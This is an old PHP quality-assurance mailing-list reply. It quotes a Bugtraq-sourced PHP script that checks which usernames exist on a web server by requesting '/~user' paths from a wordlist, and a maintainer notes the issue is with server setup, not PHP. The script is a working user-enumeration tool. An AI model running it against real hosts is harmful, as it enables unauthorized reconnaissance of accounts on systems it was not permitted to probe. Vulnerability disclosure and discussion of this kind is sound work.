Re: Bug found

To make it clear, this issue is not related to PHP at all. The guy who implemented this program simply chose to implement it in PHP, to demonstrate what he considers to be a vulnerability in the setup of certain Web server software. Zeev At 01:12 22-09-01, Micheal wrote:

I was sent this bug via bugtraq. Here is the code: #!/usr/local/bin/php -q <? /* default misconfiguration which could allow remote users to determine whether a give username exists on the vulnerable system.

        By Gabriel A Maggiotti

*/ if( $argc!=4) { echo "usagge: $argv[0] <host> <userlist> <delay>\n"; return 1; } $host=$argv[1]; $userlist=$argv[2]; $fd = fopen ($userlist, "r"); while (!feof ($fd)) { $user = fgets($fd, 4096); $fp = fsockopen ($host, 80 , &$errno, &$errstr, 30); fputs ($fp, "GET /~$user HTTP/1.0\r\n\r\n"); while (!feof ($fp)) { $sniff=fgets($fp,1024);

               if(strpos($sniff,"permission")!="") {

echo "$user exists!!!\n"; break; } } fclose ($fp); sleep(3); } fclose ($fd); ?> As you can clearly see, this code allows someone to see if a specified user is on a system and they can then get other sensitive information about that user if they really wanted to. I love PHP and I'd hate to see security holes like this and others (I have received other holes similar to this from bugtraq) set PHP back but security risks are security risks. I hope this is a correct list to send this too. . . I searched all over php.net for the correct way of contacting the php staff but I could not find it. __________________________________________________ Do You Yahoo!? Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com -- PHP Quality Assurance Mailing List <http://www.php.net/> To unsubscribe, e-mail: php-qa-unsubscribe@lists.php.net For additional commands, e-mail: php-qa-help@lists.php.net To contact the list administrators, e-mail: php-list-admin@lists.php.net